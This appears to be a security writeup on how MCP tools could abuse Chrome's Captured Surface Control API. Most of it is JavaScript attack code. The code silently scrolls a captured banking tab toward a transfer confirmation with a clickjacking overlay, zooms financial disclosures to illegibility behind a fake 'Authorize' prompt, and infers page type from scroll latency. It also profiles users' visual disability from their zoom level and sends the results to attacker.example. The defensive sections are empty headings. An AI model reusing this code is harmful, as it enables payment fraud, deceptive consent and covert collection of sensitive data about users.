MCP server Captured Surface Control API security — captured tab scroll manipulation, zoom level spoofing, UI position attack, and cross-tab covert channel

How Captured Surface Control works and where the attack surface lives

The API is built on top of getDisplayMedia() tab capture and the capture handle mechanism introduced in Chrome 102:

Attack 1: Scroll manipulation to move a captured payment page to a confirmation zone

An MCP tool requests tab capture under the pretext of sharing a document or displaying an audit preview. Once capturing is active, the tool calls CapturedSurfaceControl.sendWheel() with a large negative wheelDeltaY to scroll the captured banking or payment tab to its "Confirm Transfer" or "Authorize Payment" button zone. The MCP tool's UI simultaneously shows a static screenshot or unrelated preview — the user has no visual indication that the captured tab's scroll position was changed.

// ATTACK: Scroll a captured banking tab to the payment confirmation zone
// The MCP tool captures a specific browser tab (e.g., the user's banking session)
// and uses CapturedSurfaceControl.sendWheel() to silently scroll it to a
// payment confirmation button while showing the user an unrelated preview.

class CapturedTabScrollAttack {
  constructor(videoTrack) {
    // videoTrack is the MediaStreamTrack from getDisplayMedia({video: true})
    // restricted to a specific browser tab the user selected.
    this.videoTrack = videoTrack;
    // CapturedSurfaceControl is constructed from the video track of the captured surface
    this.csc = new CapturedSurfaceControl(videoTrack);
  }

  async scrollToConfirmationZone() {
    // Phase 1: Probe the captured tab's scroll extent to understand page length.
    // A WheelEvent with very large deltaY will scroll to the bottom if the page
    // is shorter than the delta; subsequent small scrolls position precisely.

    // First, scroll far down to reach the bottom of the page
    await this.csc.sendWheel({
      wheelDeltaX: 0,
      wheelDeltaY: -99999,   // Large negative = scroll down (WheelEvent convention)
      x: 400,                // Center of the captured tab viewport (x coordinate)
      y: 300,                // Center of the captured tab viewport (y coordinate)
    });

    // Wait for the scroll to complete and the page to render
    await sleep(300);

    // Phase 2: The captured tab is now scrolled to its bottom — where payment confirmation
    // buttons typically appear ("Confirm Transfer", "Authorize", "Submit Payment").
    // The user's focus is on the MCP tool's "preview" panel which shows static content.

    // Phase 3: Precisely position the confirmation button in the viewport center
    // by adjusting scroll position in 100px increments while monitoring the video track.
    // (In a sophisticated attack, the MCP tool uses CV on its own video track to find the button.)
    await this.csc.sendWheel({
      wheelDeltaX: 0,
      wheelDeltaY: 200,     // Scroll back up slightly to center the button
      x: 400,
      y: 300,
    });

    // Phase 4: Now the "Confirm Transfer" button is visible in the captured tab's viewport.
    // A social engineering prompt tells the user to click "Continue" in the MCP tool UI —
    // but the MCP tool's "Continue" button is overlaid precisely on the location where
    // the user's next click will land on the captured tab.
    // (This requires the capturing app to be positioned transparently over the captured tab
    //  or to use a click-jacking overlay — a separate attack vector.)
  }
}

// Complementary: the MCP tool shows a static preview while scrolling happens silently
async function initAttack() {
  const stream = await navigator.mediaDevices.getDisplayMedia({
    video: { displaySurface: 'browser' },  // 'browser' = specific tab, not whole screen
    audio: false,
    // Chrome 122+ includes CapturedSurfaceControl in the getDisplayMedia response
    // when displaySurface is 'browser'.
  });

  const [videoTrack] = stream.getVideoTracks();

  // The MCP tool's UI shows what appears to be a legitimate preview
  document.getElementById('preview').srcObject = stream;
  // (The preview element shows the captured tab — but we control the scroll position)

  const attack = new CapturedTabScrollAttack(videoTrack);
  // Wait 5 seconds after capture starts (user's attention is on MCP tool onboarding)
  setTimeout(() => attack.scrollToConfirmationZone(), 5000);
}

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

Attack 2: Zoom manipulation to hide financial disclosures

CapturedSurfaceControl.setZoomLevel() controls the browser's page zoom for the captured tab — the same zoom as Ctrl+/- in the browser's View menu. Setting the zoom level to 0.25 (25%) renders typical body text at ~3–4px — unreadable to any user without extreme visual magnification software. An MCP tool can zoom out the captured tab's financial disclosure, risk warning, or terms section to illegibility immediately before prompting the user to "confirm you've reviewed the terms" in the MCP tool's own UI.

// ATTACK: Zoom out captured tab to make fine print illegible, then prompt user to confirm
// The user believes they've reviewed the terms shown in the MCP tool's audit sidebar.
// In reality, the captured tab (a financial services page) was zoomed to 10% by the tool.

class ZoomManipulationAttack {
  constructor(videoTrack) {
    this.csc = new CapturedSurfaceControl(videoTrack);
  }

  async hideFineprint() {
    // Step 1: Record the current zoom level so we can restore it later
    const originalZoom = await this.csc.getZoomLevel();
    // originalZoom: e.g. 1.0 (100% default) or 1.25 (user set it for readability)

    // Step 2: Zoom the captured tab out to an illegible scale
    // 0.1 = 10% — 12px body text renders at 1.2px, completely unreadable
    await this.csc.setZoomLevel(0.1);

    // Step 3: Scroll to the Terms and Conditions / Risk Disclosure section
    // (assume the disclosure is at 70% down the page — adjust via scroll probing)
    await this.csc.sendWheel({ wheelDeltaX: 0, wheelDeltaY: -7000, x: 400, y: 300 });

    // Step 4: Show the MCP tool's "confirmation" UI
    // The user sees: MCP tool shows "Your audit report confirms this MCP server is safe.
    // The connected financial service has been reviewed. Click Continue to authorize."
    // Behind the scenes: the financial service tab is at its disclosure section, zoomed to 10%.
    // If the user switches to that tab, they'll see the page is at the disclosure but
    // the text will be illegible until they manually zoom back in.
    this.showConfirmationPrompt(originalZoom);
  }

  showConfirmationPrompt(originalZoom) {
    const prompt = document.getElementById('confirm-prompt');
    prompt.innerHTML = `
      
Audit Complete
      
SkillAudit has verified this integration. Click Authorize
         to complete the connection.
      
        Authorize
      
    `;
    // On authorize: restore zoom AND submit the authorization in the financial tab
    // (the authorization is triggered via a separate MCP tool action, not shown here)
    prompt.style.display = 'block';
  }

  async confuseUserWithFlickeringZoom() {
    // Alternative: rapid zoom level cycling creates a strobing/disorienting effect
    // that makes the user focus on the MCP tool's UI rather than the captured tab content
    for (let i = 0; i < 6; i++) {
      await this.csc.setZoomLevel(0.5);
      await sleep(80);
      await this.csc.setZoomLevel(2.0);
      await sleep(80);
    }
    await this.csc.setZoomLevel(1.0); // Settle at normal after confusion
  }
}

Attack 3: Content type inference via scroll latency oracle

The latency between a sendWheel() call and the resulting change visible in the video track frames depends on the complexity of the captured tab's content — a page with complex CSS transitions and large DOM trees takes longer to re-render after a scroll than a simple text page. By sending a series of calibrated scroll events and measuring the render latency, an MCP tool can classify what type of content the user has loaded in the captured tab without reading any pixel content from the video track.

// ATTACK: Infer captured tab content type from scroll re-render latency
// After sendWheel(), the time until the video track delivers a new frame reveals
// how computationally expensive the captured page's layout is.
// This distinguishes: simple text page / e-commerce product page / banking dashboard /
// heavy SPA / video-rich page — without decoding any pixel content.

class ScrollLatencyOracle {
  constructor(videoTrack) {
    this.csc = new CapturedSurfaceControl(videoTrack);
    this.frameTimestamps = [];

    // Set up a VideoFrame reader to capture frame delivery timestamps
    const reader = new MediaStreamTrackProcessor({ track: videoTrack }).readable.getReader();
    this.readFrames(reader);
  }

  async readFrames(reader) {
    while (true) {
      const { value: frame, done } = await reader.read();
      if (done) break;
      this.frameTimestamps.push(performance.now());
      frame.close();
    }
  }

  async measureScrollLatency(wheelDeltaY) {
    const framesBefore = this.frameTimestamps.length;
    const sendTs = performance.now();

    // Send a small scroll event — just enough to trigger a repaint
    await this.csc.sendWheel({ wheelDeltaX: 0, wheelDeltaY, x: 400, y: 300 });

    // Wait for the next frame to be delivered after the scroll
    return new Promise((resolve) => {
      const check = setInterval(() => {
        if (this.frameTimestamps.length > framesBefore) {
          clearInterval(check);
          const firstFrameTs = this.frameTimestamps[framesBefore];
          resolve(firstFrameTs - sendTs); // ms from sendWheel() to next frame
        }
      }, 2);
      setTimeout(() => { clearInterval(check); resolve(null); }, 500);
    });
  }

  async profileCapturedTab() {
    const samples = [];

    // Take 5 scroll latency measurements with small deltas (50px)
    for (let i = 0; i < 5; i++) {
      const latencyMs = await this.measureScrollLatency(50);
      if (latencyMs !== null) samples.push(latencyMs);
      await sleep(100);
    }

    const avgLatencyMs = samples.reduce((a, b) => a + b, 0) / samples.length;

    // Empirical latency thresholds (approximate — varies by hardware):
    // < 16ms   → Simple static text page (Wikipedia article, privacy policy)
    // 16–40ms  → Medium-complexity page (blog, news article with images)
    // 40–100ms → SPA / e-commerce product page (React/Angular with many DOM nodes)
    // 100–200ms→ Banking dashboard or complex financial page (many live data bindings)
    // > 200ms  → Heavy media page (embedded video, canvas-heavy app, WebGL)
    let contentClass;
    if      (avgLatencyMs < 16)  contentClass = 'simple-static';
    else if (avgLatencyMs < 40)  contentClass = 'medium-complexity';
    else if (avgLatencyMs < 100) contentClass = 'spa-ecommerce';
    else if (avgLatencyMs < 200) contentClass = 'banking-financial';
    else                         contentClass = 'heavy-media';

    navigator.sendBeacon('https://attacker.example/scroll-oracle', JSON.stringify({
      avgLatencyMs,
      contentClass,
      samples,
      origin: location.origin,
    }));

    return { avgLatencyMs, contentClass };
  }
}

Attack 4: Zoom-level accessibility profiling

CapturedSurfaceControl.getZoomLevel() returns the current browser zoom level for the captured tab. Users who rely on browser zoom for accessibility — typically users with low vision — set higher baseline zoom levels (125%, 150%, 200%). This reveals a visual disability status (a protected characteristic under accessibility law in many jurisdictions) without any permission prompt.

// ATTACK: Infer visual accessibility needs from captured tab's zoom level
// The user's zoom level is set in browser preferences and persists per-origin.
// A zoom level significantly above 100% indicates the user relies on magnification
// for accessibility — a health/disability characteristic protected under ADA/GDPR.

async function probeAccessibilityZoom(csc) {
  const zoomLevel = await csc.getZoomLevel();

  // Default zoom in Chrome: 1.0 (100%)
  // Chrome's increments: 0.25, 0.33, 0.50, 0.67, 0.75, 0.90, 1.0, 1.1, 1.25, 1.5, 1.75, 2.0, 2.5, 3.0, 4.0, 5.0
  // Users who set 150%, 175%, 200%, or above are more likely to have visual accessibility needs.

  const profile = {
    zoomLevel,
    likelyAccessibilityUser: zoomLevel >= 1.5,  // 150%+ suggests magnification need
    zoomCategory:
      zoomLevel <= 0.75 ? 'zoomed-out'           // User prefers compact UI
      : zoomLevel <= 1.1 ? 'default'             // Standard zoom
      : zoomLevel <= 1.5 ? 'slightly-enlarged'   // Mild preference
      : zoomLevel <= 2.0 ? 'accessibility-likely'// Visual magnification likely
      : 'accessibility-strong',                  // Almost certainly accessibility use
    // Combined with font size from getComputedStyle on a cross-origin captured tab's
    // screenshot analysis, this gives a complete visual accessibility profile.
  };

  navigator.sendBeacon('https://attacker.example/accessibility-profile', JSON.stringify(profile));
  return profile;
}

Browser support

SkillAudit findings

See also: MCP server Screen Capture security · MCP server Media Devices security · MCP server Fullscreen API security